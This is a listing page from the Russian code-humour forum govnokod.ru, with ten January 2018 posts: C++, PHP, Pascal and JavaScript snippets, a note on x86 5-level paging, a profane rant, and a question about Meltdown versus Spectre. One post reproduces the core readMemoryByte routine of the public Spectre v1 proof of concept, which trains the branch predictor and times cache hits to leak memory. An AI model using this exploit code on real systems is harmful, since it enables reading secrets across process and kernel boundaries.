1. Куча / Говнокод #23651

    −1

    1. 1
    2. 2
    3. 3
    https://software.intel.com/sites/default/files/managed/2b/80/5-level_paging_white_paper.pdf
    
    http://lkml.iu.edu/hypermail/linux/kernel/1612.1/00383.html

    x86-64 is currently limited to 256 TiB of virtual address space and 64 TiB
    of physical address space. We are already bumping into this limit: some
    vendors offers servers with 64 TiB of memory today.

    To overcome the limitation upcoming hardware will introduce support for
    5-level paging. It is a straight-forward extension of the current page
    table structure adding one more layer of translation.

    It bumps the limits to 128 PiB of virtual address space and 4 PiB of physical address space.
    This "ought to be enough for anybody" Â.

    https://imgs.xkcd.com/comics/supported_features.png

    3.14159265, 11 Января 2018

    Комментарии (79)
  2. C++ / Говнокод #23650

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    #include <typeinfo>
    #include <string>
    #include <iostream>
    using namespace std::literals::string_literals;
    using std::cout;
    
    #if defined(__GNUG__) || defined(__clang__)
    #include <cxxabi.h>
    template <typename T>
    std::string get_real_type() {
    	int status;
    	char *real_name = abi::__cxa_demangle(typeid(T).name(), nullptr, nullptr, &status);
    	return (status == 0 ? std::string(real_name) : ("(not demangled)"s + typeid(T).name())); 
    }
    #else
    template <typename T>
    std::string get_real_type() {
    	return typeid(T).name();
    }
    #endif
    
    template <typename T>
    struct overload_generator {
    	std::string get_type_impl() {
    		return get_real_type<T>();
    	}
    };
    
    template <typename... Ts>
    struct printer : overload_generator<Ts>...
    {
    	using overload_generator<Ts>::get_type_impl...;
    	template<typename T>
    	void println_type() {
    		cout << overload_generator<T>::get_type_impl() << '\n';
    	}
    	template <typename... Us>
    	void println_types() {
    		println_types_impl((std::string(overload_generator<Us>::get_type_impl()) + "\n")...);
    	}
    private:
    	template <typename... Us>
    	void println_types_impl(Us... args) {
    		(cout << ... << args);
    	}
    };
    
    int main() {
    	auto pr = printer<int,long,decltype(nullptr)>();
    	pr.println_type<long>();
    	pr.println_types<long, decltype(nullptr),int>();
    }

    По мотивам http://govnokod.ru/23638#comment395579
    Разманглил имена, а то gcc выдает нечитаемую дичь в type_info::name для типов сложнее инта
    Ну и сахар из c++17 вроде свёртки аргументов вариативной шаблонной функции (fold expression, хз как лучше перевести) тут тоже есть

    eszett, 11 Января 2018

    Комментарии (9)
  3. Куча / Говнокод #23649

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    сука блядь конченые доки сифайла
    пидорасы
    авторизация через shibboleth сука!
    так бы сразу и сказали, что надо два заголовка пихнуть
    REMOTE_USER и eppn
    но нет
    вот вам устаревший мануал по установке куска говна
    с использованием другого куска говна
    все это на говнотехнологии
    сидите ебитесь с tcpdumpом сами

    Продам кресло компьютерное не бито не крашено вин на месте в дтп не было лобовое без трещин

    cykablyad, 09 Января 2018

    Комментарии (15)
  4. PHP / Говнокод #23648

    0

    1. 1
    $urlId = (is_numeric($urlId = explode('-', $url)[0]) ? $urlId : null);

    KEKC, 09 Января 2018

    Комментарии (3)
  5. Pascal / Говнокод #23647

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    program voynasharov;
    uses crt, graphABC;
    
    type shar = class
     col, x, y, r: integer;
     pm: byte;
     constructor Create (ccol, cx, cy, cr: integer);
      begin
      col:=ccol;
      x:=cx;
      y:=cy;
      r:=cr;
      end;
     procedure make;
      begin
      setbrushcolor (col);
      circle (x,y,r);
      end;
     procedure mov;
     begin
     pm:=random(5);
     case pm of
     1: x:=x+20;
     2: x:=x-20;
     3: y:=y-20;
     4: y:=y+20;
     end;
     end;
    end;
    
    var first, second:shar;
    
    begin
     setwindowsize(1280,720);
     first:=shar.Create(666,550,400,60);
     second:=shar.Create(1488,740,300,60);
     first.make;
     second.make;
     repeat
     //clrscr;
     first.mov;
     second.mov;
     first.make;
     second.make;
     delay(50);
     until first.x=70;
    end.

    Лёгкий способ наколдовать перекатывание кругов в паскале

    SewerSurfer, 09 Января 2018

    Комментарии (3)
  6. Pascal / Говнокод #23646

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    program sharokat;
    uses crt, graphABC;
    
    type shar = class
     col, x, y, r: integer;
     constructor Create (ccol, cx, cy, cr: integer);
      begin
      col:=ccol;
      x:=cx;
      y:=cy;
      r:=cr;
      end;
     procedure make;
      begin
      setbrushcolor (col);
      circle (x,y,r);
      end;
    end;
    
    var my:shar;
    
    begin
     my:=shar.Create(666,100,100,60);
     my.make;
    end.

    Лёгкий способ наколдовать круг в паскале

    SewerSurfer, 09 Января 2018

    Комментарии (41)
  7. JavaScript / Говнокод #23645

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    brainfuck()
        
          .plus .plus .plus .plus .plus .plus .plus 
          .plus .plus .plus .plus .plus .plus .plus
          .begin
                .minus.next .plus .plus .plus .plus
                .plus .next .plus .plus .plus .plus
                .plus .plus .next .plus .plus .plus
                .plus .plus .plus .prev .prev .prev
          .end
          .next .plus .print.next .minus.minus.minus
          .minus.minus.print.next .plus .plus .print
          .prev .minus.print.plus .print.minus.minus
          .minus.minus.print.plus .plus .plus .plus
          .print.prev .minus.minus.minus.print

    https://github.com/1024--/peetooshnya/blob/master/bfdot.js

    huesto, 09 Января 2018

    Комментарии (5)
  8. Си / Говнокод #23644

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t * addr;
    
      for (i = 0; i < 256; i++)
        results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
    
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
          _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
    
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
          _mm_clflush( & array1_size);
          for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
    
          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
          /* Avoid jumps in case those tip off the branch predictor */
          x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
          x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
          x = training_x ^ (x & (malicious_x ^ training_x));
    
          /* Call the victim! */
          victim_function(x);
        }
    
        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255;
          addr = & array2[mix_i * 512];
          time1 = __rdtscp( & junk); /* READ TIMER */
          junk = * addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
    
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
          if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
          } else if (k < 0 || results[i] >= results[k]) {
            k = i;
          }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above won’t get optimized out*/
      value[0] = (uint8_t) j;
      score[0] = results[j];
      value[1] = (uint8_t) k;
      score[1] = results[k];
    }

    Красиво. Душевно.
    https://github.com/Eugnis/spectre-attack

    gost, 06 Января 2018

    Комментарии (35)
  9. Куча / Говнокод #23643

    0

    1. 1
    2. 2
    3. 3
    4. 4
    Политота #3
    
    #1: http://govnokod.ru/15804 (не открывается)
    #2: http://govnokod.ru/19910

    syoma, 06 Января 2018

    Комментарии (848)
  10. Куча / Говнокод #23642

    0

    1. 1
    Давайте обсудим meltdown и spectre.

    Объясните мне кто-нибудь, в чем принципиальное отличие spectre от meltdown? И как оно позволяет читать память других процессов? Все что я пока понял - это чтение памяти ядра, которое уже все прикрыли, и проблемы с жс в браузере.

    FrauSchweinhund, 06 Января 2018

    Комментарии (101)